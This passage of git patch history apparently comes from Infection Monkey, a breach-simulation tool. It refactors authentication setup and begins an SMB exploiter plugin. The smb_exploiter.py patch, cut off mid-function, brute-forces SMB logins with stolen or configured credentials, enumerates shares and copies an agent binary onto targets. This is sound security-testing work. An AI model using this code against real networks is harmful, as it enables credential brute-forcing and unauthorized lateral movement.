UserDatastore, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 410fd937ab2..41ae07eff23 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -8,11 +8,10 @@ from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from wtforms import StringField -from common import DIContainer from common.utils.file_utils import open_new_securely_permissioned_file from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL -from . import AccountRole, register_resources +from . import AccountRole from .role import Role from .user import User @@ -20,12 +19,7 @@ AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time -def setup_authentication(app, api, data_dir: Path, container: DIContainer): - datastore = _configure_flask_security(app, data_dir) - register_resources(api, container, datastore) - - -def _configure_flask_security(app, data_dir: Path) -> MongoEngineUserDatastore: +def configure_flask_security(app, data_dir: Path) -> MongoEngineUserDatastore: _setup_flask_mongo(app) flask_security_config = _generate_flask_security_configuration(data_dir) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index a244c198b1e..8902ea7fe8f 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -1,9 +1,4 @@ import flask_restful -from flask_security import MongoEngineUserDatastore - -from common import DIContainer -from monkey_island.cc.event_queue import IIslandEventQueue -from monkey_island.cc.server_utils.encryption import ILockableEncryptor from ..authentication_facade import AuthenticationFacade from .agent_otp import AgentOTP @@ -14,15 +9,7 @@ from .registration_status import RegistrationStatus -def register_resources( - api: flask_restful.Api, container: DIContainer, user_datastore: MongoEngineUserDatastore -): - repository_encryptor = container.resolve(ILockableEncryptor) - island_event_queue = container.resolve(IIslandEventQueue) - authentication_facade = AuthenticationFacade( - repository_encryptor, island_event_queue, user_datastore - ) - +def register_resources(api: flask_restful.Api, authentication_facade: AuthenticationFacade): api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) api.add_resource( RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py new file mode 100644 index 00000000000..780f3e590f6 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -0,0 +1,23 @@ +from pathlib import Path + +from flask_security import UserDatastore + +from common import DIContainer +from monkey_island.cc.event_queue import IIslandEventQueue +from monkey_island.cc.server_utils.encryption import ILockableEncryptor + +from . import register_resources +from .authentication_facade import AuthenticationFacade +from .configure_flask_security import configure_flask_security + + +def setup_authentication(app, api, data_dir: Path, container: DIContainer): + datastore = configure_flask_security(app, data_dir) + authentication_facade = _build_authentication_facade(container, datastore) + register_resources(api, authentication_facade) + + +def _build_authentication_facade(container: DIContainer, user_datastore: UserDatastore): + repository_encryptor = container.resolve(ILockableEncryptor) + island_event_queue = container.resolve(IIslandEventQueue) + return AuthenticationFacade(repository_encryptor, island_event_queue, user_datastore) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index c1ec0ba9901..291d8f329c7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -1,7 +1,7 @@ from unittest.mock import MagicMock, call import pytest -from flask_security import MongoEngineUserDatastore +from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode @@ -32,8 +32,8 @@ def mock_island_event_queue(autouse=True) -> IIslandEventQueue: @pytest.fixture -def mock_user_datastore(autouse=True) -> MongoEngineUserDatastore: - return MagicMock(spec=MongoEngineUserDatastore) +def mock_user_datastore(autouse=True) -> UserDatastore: + return MagicMock(spec=UserDatastore) @pytest.fixture From d49723f252c0a1adc11d3b3697e498fc48e01081 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 17:31:12 +0000 Subject: [PATCH 0695/1338] SMB: Add plugin manifest --- .../agent_plugins/exploiters/smb/manifest.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/manifest.yml diff --git a/monkey/agent_plugins/exploiters/smb/manifest.yml b/monkey/agent_plugins/exploiters/smb/manifest.yml new file mode 100644 index 00000000000..240d86fbd67 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/manifest.yml @@ -0,0 +1,17 @@ +name: SMB +plugin_type: Exploiter +supported_operating_systems: + - linux + - windows +target_operating_systems: + - windows +title: SMB Exploiter +version: 1.0.0 +description: "Attempts a brute-force attack against SMB using known credentials" +link_to_documentation: "https://techdocs.akamai.com/infection-monkey/docs/smbexec/" +safe: True, +remediation_suggestion: >- + Change user passwords to a complex one-use password that is not shared with other computers on the network. + + The machine is vulnerable to an SMB attack. + An Infection Monkey Agent authenticated over the SMB protocol. From 56072b08598fc2d4631e4eb7c6e091627d6192b4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 11:21:02 +0530 Subject: [PATCH 0696/1338] SMB: Fix boolean field in manifest --- monkey/agent_plugins/exploiters/smb/manifest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/manifest.yml b/monkey/agent_plugins/exploiters/smb/manifest.yml index 240d86fbd67..e0e6deb3b98 100644 --- a/monkey/agent_plugins/exploiters/smb/manifest.yml +++ b/monkey/agent_plugins/exploiters/smb/manifest.yml @@ -9,7 +9,7 @@ title: SMB Exploiter version: 1.0.0 description: "Attempts a brute-force attack against SMB using known credentials" link_to_documentation: "https://techdocs.akamai.com/infection-monkey/docs/smbexec/" -safe: True, +safe: true remediation_suggestion: >- Change user passwords to a complex one-use password that is not shared with other computers on the network. From a91024687e874de96a16d29129eb062e651258ba Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 11:23:38 +0530 Subject: [PATCH 0697/1338] SMB: Reword remediation_suggestion in manifest --- monkey/agent_plugins/exploiters/smb/manifest.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/manifest.yml b/monkey/agent_plugins/exploiters/smb/manifest.yml index e0e6deb3b98..4f590470085 100644 --- a/monkey/agent_plugins/exploiters/smb/manifest.yml +++ b/monkey/agent_plugins/exploiters/smb/manifest.yml @@ -7,11 +7,11 @@ target_operating_systems: - windows title: SMB Exploiter version: 1.0.0 -description: "Attempts a brute-force attack against SMB using known credentials" -link_to_documentation: "https://techdocs.akamai.com/infection-monkey/docs/smbexec/" +description: Attempts a brute-force attack against SMB using known credentials. safe: true remediation_suggestion: >- - Change user passwords to a complex one-use password that is not shared with other computers on the network. + Change user passwords to complex one-use passwords that are not shared with other computers on the network. The machine is vulnerable to an SMB attack. - An Infection Monkey Agent authenticated over the SMB protocol. + An Infection Monkey Agent authenticated over the SMB protocol using stolen/configured credentials. +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/smbexec/ From 197cf551609df7dc75eddd8523c61f2a23817717 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 17:22:25 +0100 Subject: [PATCH 0698/1338] SMB: Add SMBOptions to SMBPlugin Issue: #2952 PR: #3089 --- .../exploiters/smb/src/smb_options.py | 27 ++++++++ .../exploiters/smb/test_smb_options.py | 62 +++++++++++++++++++ 2 files changed, 89 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_options.py create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_options.py b/monkey/agent_plugins/exploiters/smb/src/smb_options.py new file mode 100644 index 00000000000..3d9b45832ba --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_options.py @@ -0,0 +1,27 @@ +from pydantic import Field + +from common.base_models import InfectionMonkeyBaseModel + + +class SMBOptions(InfectionMonkeyBaseModel): + agent_binary_upload_timeout: float = Field( + default=30.0, + gt=0.0, + le=100.0, + description="Maximum time allowed for uploading the Agent binary to the target.", + ) + use_kerberos: bool = Field( + default=False, description="Should the RPC transport use Kerberos authentication." + ) + rpc_connect_timeout: float = Field( + default=15.0, + gt=0.0, + le=100.0, + description="The maximum time (in seconds) to wait for RPC connection.", + ) + smb_connect_timeout: float = Field( + default=15.0, + gt=0.0, + le=100.0, + description="The maximum time (in seconds) to wait for SMB connection.", + ) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py new file mode 100644 index 00000000000..a01c5968f9e --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py @@ -0,0 +1,62 @@ +import pydantic +import pytest +from agent_plugins.exploiters.smb.src.smb_options import SMBOptions + +UPLOAD_TIMEOUT = 12.4 +USE_KERBEROS = True +RPC_CONNECT_TIMEOUT = 11.2 +SMB_CONNECT_TIMEOUT = 42.1 + + +SMB_OPTIONS_DICT = { + "agent_binary_upload_timeout": UPLOAD_TIMEOUT, + "use_kerberos": USE_KERBEROS, + "rpc_connect_timeout": RPC_CONNECT_TIMEOUT, + "smb_connect_timeout": SMB_CONNECT_TIMEOUT, +} + + +SMB_OPTIONS_OBJECT = SMBOptions( + agent_binary_upload_timeout=UPLOAD_TIMEOUT, + use_kerberos=USE_KERBEROS, + rpc_connect_timeout=RPC_CONNECT_TIMEOUT, + smb_connect_timeout=SMB_CONNECT_TIMEOUT, +) + +UPLOAD_TIMEOUT_EXCEPTION = {"agent_binary_upload_timeout": 70000} +RPC_TIMEOUT_EXCEPTION = {"rpc_connect_timeout": -1} +SMB_TIMEOUT_EXCEPTION = {"smb_connect_timeout": 101} + + +def test_smb_options__serialization(): + assert SMB_OPTIONS_OBJECT.dict(simplify=True) == SMB_OPTIONS_DICT + + +def test_smb_options__full_serialization(): + assert SMBOptions(**SMB_OPTIONS_OBJECT.dict(simplify=True)) == SMB_OPTIONS_OBJECT + + +def test_smb_options__deserialization(): + assert SMBOptions(**SMB_OPTIONS_DICT) == SMB_OPTIONS_OBJECT + + +def test_smb_options__default(): + smb_options = SMBOptions() + + assert smb_options.agent_binary_upload_timeout == 30.0 + assert smb_options.use_kerberos is False + assert smb_options.rpc_connect_timeout == 15.0 + assert smb_options.smb_connect_timeout == 15.0 + + +@pytest.mark.parametrize( + "options_dict", + [ + UPLOAD_TIMEOUT_EXCEPTION, + RPC_TIMEOUT_EXCEPTION, + SMB_TIMEOUT_EXCEPTION, + ], +) +def test_smb_options_constrains(options_dict): + with pytest.raises((pydantic.errors.NumberNotLeError, pydantic.errors.NumberNotGtError)): + SMBOptions(**options_dict) From 1e6e957c1bf339fd314db7c1cbd01b857539bba7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 17:42:39 +0000 Subject: [PATCH 0699/1338] SMB: Add vulture entries --- vulture_allowlist.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index c4ac0ba8057..2b9b512767e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -1,4 +1,5 @@ from agent_plugins.exploiters.hadoop.plugin import Plugin as HadoopPlugin +from agent_plugins.exploiters.smb.smb_options import SMBOptions from flask_security import Security from common import DIContainer @@ -143,6 +144,11 @@ generate_brute_force_credentials secret_type_filter +SMBOptions.agent_binary_upload_timeout +SMBOptions.use_kerberos +SMBOptions.rpc_connect_timeout +SMBOptions.smb_connect_timeout + # Remove after #3077 http_island_api_client.get_otp IslandAPIAgentOTPProvider From d9fff4462ba69bc01a76bed49c77ae93e0254509 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 11:34:34 +0530 Subject: [PATCH 0700/1338] Project: Fix Vulture allowlist entries --- vulture_allowlist.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2b9b512767e..4a2635c9413 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -20,6 +20,7 @@ from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository +from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation # Pydantic configurations are not picked up @@ -133,12 +134,10 @@ # User model fields User.active -User.password_hash User.fs_uniquifier User.roles User.get_by_id User.email -Role.permissions # Remove after #2952 generate_brute_force_credentials From c207e8a201705b5c96cc9f66091e2c608b65a52a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 11:37:04 +0530 Subject: [PATCH 0701/1338] SMB: Reword descriptions of configuration options --- monkey/agent_plugins/exploiters/smb/src/smb_options.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_options.py b/monkey/agent_plugins/exploiters/smb/src/smb_options.py index 3d9b45832ba..d252bbd5d29 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_options.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_options.py @@ -8,20 +8,21 @@ class SMBOptions(InfectionMonkeyBaseModel): default=30.0, gt=0.0, le=100.0, - description="Maximum time allowed for uploading the Agent binary to the target.", + description="The timeout (in seconds) for uploading the Agent binary" + " to the target machine.", ) use_kerberos: bool = Field( - default=False, description="Should the RPC transport use Kerberos authentication." + default=False, description="Use Kerberos authentication for RPC transport." ) rpc_connect_timeout: float = Field( default=15.0, gt=0.0, le=100.0, - description="The maximum time (in seconds) to wait for RPC connection.", + description="The maximum time (in seconds) to wait for a response on an RPC connection.", ) smb_connect_timeout: float = Field( default=15.0, gt=0.0, le=100.0, - description="The maximum time (in seconds) to wait for SMB connection.", + description="The maximum time (in seconds) to wait for a response on an SMB connection.", ) From dbd794d797a95613ad7621e115d0e3b0b971ff82 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 13:23:15 +0100 Subject: [PATCH 0702/1338] SMB: Remove SMBOption.rpc_connect_timeout rpc protocol is part of smb so we can use the same timeout --- monkey/agent_plugins/exploiters/smb/src/smb_options.py | 6 ------ .../agent_plugins/exploiters/smb/test_smb_options.py | 6 ------ vulture_allowlist.py | 1 - 3 files changed, 13 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_options.py b/monkey/agent_plugins/exploiters/smb/src/smb_options.py index d252bbd5d29..0dcbe51e852 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_options.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_options.py @@ -14,12 +14,6 @@ class SMBOptions(InfectionMonkeyBaseModel): use_kerberos: bool = Field( default=False, description="Use Kerberos authentication for RPC transport." ) - rpc_connect_timeout: float = Field( - default=15.0, - gt=0.0, - le=100.0, - description="The maximum time (in seconds) to wait for a response on an RPC connection.", - ) smb_connect_timeout: float = Field( default=15.0, gt=0.0, diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py index a01c5968f9e..b967ada52c4 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py @@ -4,14 +4,12 @@ UPLOAD_TIMEOUT = 12.4 USE_KERBEROS = True -RPC_CONNECT_TIMEOUT = 11.2 SMB_CONNECT_TIMEOUT = 42.1 SMB_OPTIONS_DICT = { "agent_binary_upload_timeout": UPLOAD_TIMEOUT, "use_kerberos": USE_KERBEROS, - "rpc_connect_timeout": RPC_CONNECT_TIMEOUT, "smb_connect_timeout": SMB_CONNECT_TIMEOUT, } @@ -19,12 +17,10 @@ SMB_OPTIONS_OBJECT = SMBOptions( agent_binary_upload_timeout=UPLOAD_TIMEOUT, use_kerberos=USE_KERBEROS, - rpc_connect_timeout=RPC_CONNECT_TIMEOUT, smb_connect_timeout=SMB_CONNECT_TIMEOUT, ) UPLOAD_TIMEOUT_EXCEPTION = {"agent_binary_upload_timeout": 70000} -RPC_TIMEOUT_EXCEPTION = {"rpc_connect_timeout": -1} SMB_TIMEOUT_EXCEPTION = {"smb_connect_timeout": 101} @@ -45,7 +41,6 @@ def test_smb_options__default(): assert smb_options.agent_binary_upload_timeout == 30.0 assert smb_options.use_kerberos is False - assert smb_options.rpc_connect_timeout == 15.0 assert smb_options.smb_connect_timeout == 15.0 @@ -53,7 +48,6 @@ def test_smb_options__default(): "options_dict", [ UPLOAD_TIMEOUT_EXCEPTION, - RPC_TIMEOUT_EXCEPTION, SMB_TIMEOUT_EXCEPTION, ], ) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 4a2635c9413..3637939d968 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -145,7 +145,6 @@ SMBOptions.agent_binary_upload_timeout SMBOptions.use_kerberos -SMBOptions.rpc_connect_timeout SMBOptions.smb_connect_timeout # Remove after #3077 From fa91d863d2f962bd66297b0e3d8585412ed2330d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 19:04:50 +0000 Subject: [PATCH 0703/1338] SMB: Partially add config schema --- .../exploiters/smb/config-schema.json | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/config-schema.json diff --git a/monkey/agent_plugins/exploiters/smb/config-schema.json b/monkey/agent_plugins/exploiters/smb/config-schema.json new file mode 100644 index 00000000000..34980194e0d --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/config-schema.json @@ -0,0 +1,32 @@ +{ + "required": [], + "properties": { + "agent_binary_upload_timeout": { + "title": "Agent Binary Upload Timeout", + "description": "The timeout for uploading the agent binary to the host, in seconds.", + "type": "number", + "minimum": 0, + "default": 30.0 + }, + "use_kerberos": { + "title": "Use Kerberos", + "description": "Use Kerberos for authentication.", + "type": "boolean", + "default": false + }, + "rpc_connect_timeout": { + "title": "RPC Connect Timeout", + "description": "The maximum time to wait for packets on an RPC connection, in seconds.", + "type": "number", + "minimum": 0, + "default": 15.0 + }, + "smb_connect_timeout": { + "title": "SMB Connect Timeout", + "description": "The maximum time to wait for packets on an SMB connection, in seconds.", + "type": "number", + "minimum": 0, + "default": 15.0 + } + } +} From 91594965c25428c7e3d0494b13576bb9c521eb11 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 12:38:10 +0530 Subject: [PATCH 0704/1338] SMB: Update required fields and descriptions in config-schema.json --- .../exploiters/smb/config-schema.json | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/config-schema.json b/monkey/agent_plugins/exploiters/smb/config-schema.json index 34980194e0d..a74d3f28d57 100644 --- a/monkey/agent_plugins/exploiters/smb/config-schema.json +++ b/monkey/agent_plugins/exploiters/smb/config-schema.json @@ -1,29 +1,35 @@ { - "required": [], + "required": [ + "agent_binary_upload_timeout", + "use_kerberos", + "rpc_connect_timeout", + "smb_connect_timeout" + + ], "properties": { "agent_binary_upload_timeout": { - "title": "Agent Binary Upload Timeout", - "description": "The timeout for uploading the agent binary to the host, in seconds.", + "title": "Agent binary upload timeout", + "description": "The timeout (in seconds) for uploading the Agent binary to the target machine.", "type": "number", "minimum": 0, "default": 30.0 }, "use_kerberos": { - "title": "Use Kerberos", - "description": "Use Kerberos for authentication.", + "title": "Use Kerberos for authentication", + "description": "Use Kerberos authentication for RPC transport.", "type": "boolean", "default": false }, "rpc_connect_timeout": { - "title": "RPC Connect Timeout", - "description": "The maximum time to wait for packets on an RPC connection, in seconds.", + "title": "RPC connection timeout", + "description": "The maximum time (in seconds) to wait for a response on an RPC connection.", "type": "number", "minimum": 0, "default": 15.0 }, "smb_connect_timeout": { - "title": "SMB Connect Timeout", - "description": "The maximum time to wait for packets on an SMB connection, in seconds.", + "title": "SMB connection timeout", + "description": "The maximum time (in seconds) to wait for a response on an SMB connection.", "type": "number", "minimum": 0, "default": 15.0 From 54ba3e12f7291d9a950704a97d323dc484bc42f5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 13:26:58 +0100 Subject: [PATCH 0705/1338] SMB: Remove rpc_connect_timeout from config_schema rpc protocol is part of smb, so we can use smb_download_timeout --- monkey/agent_plugins/exploiters/smb/config-schema.json | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/config-schema.json b/monkey/agent_plugins/exploiters/smb/config-schema.json index a74d3f28d57..cce2a86b9ce 100644 --- a/monkey/agent_plugins/exploiters/smb/config-schema.json +++ b/monkey/agent_plugins/exploiters/smb/config-schema.json @@ -2,7 +2,6 @@ "required": [ "agent_binary_upload_timeout", "use_kerberos", - "rpc_connect_timeout", "smb_connect_timeout" ], @@ -20,13 +19,7 @@ "type": "boolean", "default": false }, - "rpc_connect_timeout": { - "title": "RPC connection timeout", - "description": "The maximum time (in seconds) to wait for a response on an RPC connection.", - "type": "number", - "minimum": 0, - "default": 15.0 - }, + "smb_connect_timeout": { "title": "SMB connection timeout", "description": "The maximum time (in seconds) to wait for a response on an SMB connection.", From 9454afcef2528d7ded87f5d932819970085b533f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 13:33:54 +0100 Subject: [PATCH 0706/1338] SMB: Add maximum for Agent and SMB timeouts in config schema --- monkey/agent_plugins/exploiters/smb/config-schema.json | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/config-schema.json b/monkey/agent_plugins/exploiters/smb/config-schema.json index cce2a86b9ce..991675de4c7 100644 --- a/monkey/agent_plugins/exploiters/smb/config-schema.json +++ b/monkey/agent_plugins/exploiters/smb/config-schema.json @@ -11,7 +11,8 @@ "description": "The timeout (in seconds) for uploading the Agent binary to the target machine.", "type": "number", "minimum": 0, - "default": 30.0 + "default": 30.0, + "maximum": 100.0 }, "use_kerberos": { "title": "Use Kerberos for authentication", @@ -25,7 +26,8 @@ "description": "The maximum time (in seconds) to wait for a response on an SMB connection.", "type": "number", "minimum": 0, - "default": 15.0 + "default": 15.0, + "maximum": 100.0 } } } From 5ef1fb10c91e9f7eb9fa57bd77a42181a59726cc Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 13:05:42 +0000 Subject: [PATCH 0707/1338] SMB: Rename manifest.yml -> manifest.yaml --- .../agent_plugins/exploiters/smb/{manifest.yml => manifest.yaml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/agent_plugins/exploiters/smb/{manifest.yml => manifest.yaml} (100%) diff --git a/monkey/agent_plugins/exploiters/smb/manifest.yml b/monkey/agent_plugins/exploiters/smb/manifest.yaml similarity index 100% rename from monkey/agent_plugins/exploiters/smb/manifest.yml rename to monkey/agent_plugins/exploiters/smb/manifest.yaml From 17efeccb26d1dec8ac08b0be36ce8e628b6063da Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 22:22:27 +0000 Subject: [PATCH 0708/1338] SMB: Partially implement SMB exploiter plugin's `plugin.py` --- .../exploiters/smb/src/plugin.py | 63 ++++ .../exploiters/smb/src/smb_exploiter.py | 305 ++++++++++++++++++ 2 files changed, 368 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/src/plugin.py create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py new file mode 100644 index 00000000000..9d389dbad56 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -0,0 +1,63 @@ +import logging +from pprint import pformat +from typing import Any, Dict, Sequence +from uuid import UUID + +# common imports +from common.event_queue import IAgentEventPublisher +from common.types import Event +from common.utils.code_utils import del_key + +# dependencies to get rid of or internalize +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +logger = logging.getLogger(__name__) + + +class Plugin: + def __init__( + self, + *, + plugin_name: str, + agent_id: UUID, + agent_event_publisher: IAgentEventPublisher, + agent_binary_repository: IAgentBinaryRepository, + propagation_credentials_repository: IPropagationCredentialsRepository, + **kwargs, + ): + # TODO: Initialize exploiter + self._agent_event_publisher = agent_event_publisher + self._agent_binary_repository = agent_binary_repository + self._propagation_credentials_repository = propagation_credentials_repository + self._credentials = propagation_credentials_repository.get_credentials() + + def run( + self, + *, + host: TargetHost, + servers: Sequence[str], + current_depth: int, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> ExploiterResultData: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + # TODO: Parse options + except Exception as err: + msg = f"Failed to parse SMB options: {err}" + logger.exception(msg) + return ExploiterResultData(error_message=msg) + + try: + logger.debug(f"Running SMB exploiter on host {host.ip}") + # TODO: Run exploiter + except Exception as err: + msg = f"An unexpected exception occurred while attempting to exploit host: {err}" + logger.exception(msg) + return ExploiterResultData(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py new file mode 100644 index 00000000000..923fab52f67 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -0,0 +1,305 @@ +import logging +import ntpath +from io import BytesIO +from pathlib import PurePath +from typing import Any, Dict, Iterable, Optional, Tuple, Type + +# SMB +from impacket.dcerpc.v5 import srvs, transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 +from impacket.smbconnection import SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SMBConnection + +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from common.event_queue import IAgentEventPublisher +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.tools import generate_brute_force_credentials +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.i_puppet import TargetHost + +logger = logging.getLogger(__name__) + + +class SMBExploiter: + def __init__( + self, + credentials: Iterable[Credentials], + agent_event_publisher: IAgentEventPublisher, + agent_binary_repository: IAgentBinaryRepository, + ): + # TODO: Add options + self._credentials = credentials + self._agent_event_publisher = agent_event_publisher + self._agent_binary_repository = agent_binary_repository + + def exploit_host(self, host): + smb, credentials = self.brute_force(host) + destination_path = get_agent_dst_path(host) + agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) + + remote_path = self.copy_agent(agent_binary, host, smb, destination_path, credentials) + if not remote_path: + logger.debug(f"Failed to copy agent to {host}") + return + + if not self.run_agent(host, remote_path): + logger.debug(f"Failed to run agent on {host}") + return + + def brute_force(self, host): + """Brute force SMB login""" + credentials_list = generate_brute_force_credentials(self._credentials) + for credentials in credentials_list: + # TODO: Test if we only need to create the connection once + smb_connection = SMB.create_connection(host) + if not smb_connection: + continue + + smb_connection = SMB.login(smb_connection, credentials) + if not smb_connection: + continue + + # TODO: Set the timeout based on config setting + # smb_connection.setTimeout(5) + + if SMB.logout_guest(smb_connection): + continue + + # At this point, we've successfully logged in with a non-guest user + # Can we break out of the loop here? + return (smb_connection, credentials) + + return None + + def copy_agent( + self, + agent_binary: BytesIO, + host, + smb_connection: SMBConnection, + path: PurePath, + credentials, + ) -> Optional[str]: + """True if the agent was copied successfully, False otherwise""" + if not SMB.query_server_info(smb_connection): + return None + + shares = self.query_shares(host, path, smb_connection) + for remote_path, share_name, share_path in self.connected_shares( + host, shares, smb_connection, credentials + ): + destination = self.copy_agent_binary( + agent_binary, host, smb_connection, remote_path, share_name, share_path + ) + if destination: + return destination + + return None + + def query_shares(self, host: TargetHost, path: PurePath, smb: SMBConnection): + resp = SMB.query_shared_resources(smb) + if not resp: + return () + + high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + file_name = path.name + + for i in range(len(resp)): + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] + + if current_uses >= max_uses: + logger.debug( + f"Skipping share '{share_name}' on victim %r because max uses is exceeded", + host, + ) + continue + elif not share_path: + logger.debug( + f"Skipping share '{share_name}' on victim %r because share path is invalid", + host, + ) + continue + + share_info = {"share_name": share_name, "share_path": share_path} + + if str(path).lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + return high_priority_shares + low_priority_shares + + def connected_shares( + self, shares, host: TargetHost, smb: SMBConnection, credentials: Credentials + ): + """Yields a tuple of (remote_path, share_name, 